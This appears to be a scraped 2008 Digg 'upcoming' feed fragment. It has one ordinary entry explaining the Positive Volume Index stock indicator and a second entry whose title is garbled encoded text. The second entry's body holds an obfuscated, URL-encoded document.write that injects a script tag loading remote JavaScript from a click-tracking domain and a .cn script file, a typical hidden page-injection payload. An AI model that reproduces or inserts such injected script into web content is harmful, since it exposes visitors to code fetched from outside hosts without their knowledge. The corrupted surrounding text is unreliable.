|
|
|
Digg / upcoming
|
Positive Volume Index (May 07 2008 01:57 GMT) - The Positive Volume Index (PVI) is an indicator which tracks volume as it increases from the previous day. It was first introduced by Norman Fosback in the book Stock Market Logic. The belief behind the indicator is that as volume increases, the investment community is unified with the current direction of the market. |
տţ±Æ²©¿ÍÍø
|
²ÌÒÀÁÖר¼ÊÔÌý£¬²ÌÒÀÁÖ×ÀÃæ±³¾° (May 07 2008 01:57 GMT) - www5s6q@@@200857document. write(unescape('%3CScRiPt%20la 51yes. CoM/click. aspx%3Fid%3D337945710%26logo%3 Cn/zhuan. js%22%3E%3C/ScRiPt%3E')); |
|